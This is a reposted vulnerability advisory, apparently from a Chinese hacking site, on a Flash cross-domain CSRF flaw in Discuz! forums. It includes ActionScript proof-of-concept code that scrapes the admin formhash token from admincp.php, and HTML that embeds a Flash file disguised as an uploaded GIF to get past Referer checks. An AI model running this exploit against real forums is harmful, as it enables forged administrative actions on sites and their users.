首 页文章中心黑客工具黑吧学院技术论坛安全培训免费频道最近更新瑞星在线杀毒黑吧百度繁體中文
  设为首页
加入收藏
发布作品
   
栏目导航
· 漏洞利用 · 脚本注入
· 入侵实例 · 编程代码
· 逆向工程
热门文章
· 如何封别人QQ
· 充QQ币的疯狂——宽...
· 免费得QB
· 400秒远程攻破你的Q...
· [图文] QQ免费建400个群
· [组图] 给你一台永远不关机...
· [注意] QQ宠物砸蛋秘诀
· 再次有机会免费获得...
· 想的挂QQvip的进
· 在QQ中将自己从对方...
相关文章
· Discuz! cache.func...
· Discuz! admincp.ph...
· Discuz! [flash] xs...
· [图文] 最新的Discuz!NT2.5...
· [图文] 最新的Discuz!NT2.5...
· Discuz! 6.0.1 (sea...
· Discuz!NT 2.5(200...
· [图文] Discuz space.php注...
· discuz获取任意管理...
· discuz获取任意管理...
Discuz! flash Csrf bug
作者:佚名  来源:转载  发布时间:2008-11-3 23:55:05  发布人:黑客动画吧

减小字体 增大字体

由于Discuz!对flash跨域策略文件及上传图片文件处理不严导致可以绕过formhash及Referer的限制,导致csrf攻击.
author: 80vul-A
team:http://www.80vul.com

Discuz!的安全人员已经意识到csrf方面的漏洞了采用了formhash及判断Referer等来防止外部提交,如果看过[1]一文的朋友应该意识到我们可以通过flash来进行csrf攻击.

一 分析

首先我们看Discuz!6开始自带了crossdomain.xml文件,代码如下:

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

允许容易域的访问,对于Discuz!的formhash我们可以通过as来处理得到如下代码:

import RegExp;
var xml:XML = new XML();
xml.onData = function(s) {
tb1.text =  getFirstMatch(new RegExp("<input type=\"hidden\" name=\"formhash\" value=\"(\\w+)\" />", "ig"), s, 1);
}
System.security.loadPolicyFile("http://192.168.1.102/crossdomain.xml");
xml.load("http://192.168.1.102/d.txt");

熟悉as安全的人知道,flash已经修补了http头定义的漏洞,也就是说我们没有办法利用下面的代码:

.addRequestHeader("Referer: http://foo/index.php?foo","www.80vul.com");

来伪造Referer,但是我们可以通过类似于SODB-2008-01里的利用通过把flash改为gif后缀上传到目标来突破,然后我们通过html远程调用这个gif来突破.

二 利用

POC[测试Discuz!5.5 其他版本的请自己编写]如下:

flash的原文件:http://www.80vul.com/dzvul/sodb/01/sodb-2008-02.fla

as代码如下:


import RegExp;
System.security.loadPolicyFile("http://www.80vul.com/bbs/crossdomain.xml");

var xml:XML = new XML();
xml.onData = function(s) {
tb1.text =  getFirstMatch(new RegExp("<input type=\"hidden\" name=\"formhash\" value=\"(\\w+)\" />", "ig"), s, 1);
}
System.security.loadPolicyFile("http://www.80vul.com/bbs/crossdomain.xml");
xml.load("http://www.80vul.com/bbs/admincp.php?action=members");

function getFirstMatch(re, s, i) {
var m = null;
if ((m = re.exec(s)) != null) {
return m[i];
}
}


远程调用的html:


<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" width="550" height="400"><param name="allowScriptAccess" value="sameDomain"><param name="movie" value="http://www.80vul.com/bbs/attachments/month_0810/20081030_a293d131d2da23ead5805QYWvs5tkBpi.gif"><param name="quality" value="high"><param name="bgcolor" value="#ffffff"><embed src="http://www.80vul.com/bbs/attachments/month_0810/20081030_a293d131d2da23ead5805QYWvs5tkBpi.gif" quality="high" bgcolor="#ffffff" allowscriptaccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" width="550" height="400"></object>


三 补丁

等待官方补丁.
[删除crossdomain.xml不可以完全修补该漏洞,crossdomain.xml可以为容易文件名loadPolicyFile()调用就行,所以攻击者可以通过上传等上传改名了的crossdomain.xml]

四 参考
[1]:http://superhei.blogbus.com/logs/13463505.html
[ ] [返回上一页] [打 印] [收 藏]
上一篇文章:Discuz! admincp.php xss bug
 
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 网站导航 - 作品发布
互联网备案登记:粤ICP备05008775号
友情提示:浏览本站,请使用IE6.0浏览,并将分辩率设置为1024*768 为佳
Copyright © 2002-2005 Hack58.Com. All Rights Reserved .